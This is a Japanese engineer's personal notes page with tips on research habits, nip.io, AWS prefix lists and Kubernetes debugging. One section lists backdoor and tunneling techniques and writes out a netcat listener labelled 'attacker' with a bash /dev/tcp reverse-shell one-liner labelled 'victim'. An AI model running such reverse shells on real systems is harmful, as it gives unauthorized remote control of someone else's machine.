フラミナル

考え方や調べたことを書き殴ります。IT技術系記事多め

エンジニアとしてのテクニックまとめ

  • 個人的に忘れないようにナレッジやコマンドなどを置いておく
  • どんどん足していく予定
  • 人に見せるものではないが、誰かの役に立つと嬉しいかも

mac

情報収集

収集した情報はEvernoteにまとめる

検索方法 / 調べ方

  • 検索場所をこだわる(YouTube / Google USA)
  • 検索ワードにこだわる(英語 / いけてる会社名 / meetupなど)
    • best practice, production ready, `
  • 本を買って積んでおく
  • IPA資料で大枠を掴む
  • 資格勉強で大枠を掴む

考え方

  • これがなかったらどうなるのか?を考える
  • 図で書いて人に説明する

新人向け

設計

実装/コマンド

shell

IPアドレスからサンプルドメインを発行する

nip.io

簡易サーバ起動

穴あけされていない環境で頑張る

  • 名前付きパイプでバックドア
  • ICMPトンネリング
  • SSHトンネリング / Socksプロキシ
  • リバースシェル(ncコマンド)
# 攻撃者
$ nc -nvl 8000

# 被害者
$ bash -i >& /dev/tcp/localhost/8000 0>&1

AWS: IPリストをカスタムプレフィックスリストとして登録

社内プロキシIPなどを1つのリストとして管理することで、SGとかRoutetableは常にそのリストを参照すればよい。リストの管理だけを行えば、他のところに手を入れなくてよくなる。便利!!

Prefix lists - Amazon Virtual Private Cloud

Kubernetes: デバッグ

$ kubectl debug node/<NODE_NAME> -it --image=busybox

or 

$ docker run -it --privileged xxx /bin/bash

Kubernetes: kubectl debug node でノードをデバッグする - Qiita

Kubernetes: ラベルセレクタのないサービス

外部IPを serviceで管理できる(外部ドメインではない点注意)。利用ケースとしては別VM指定など

あなたの知らないKubernetesのServiceの仕組み | IIJ Engineers Blog

異動/オンボーディング/転職

リンク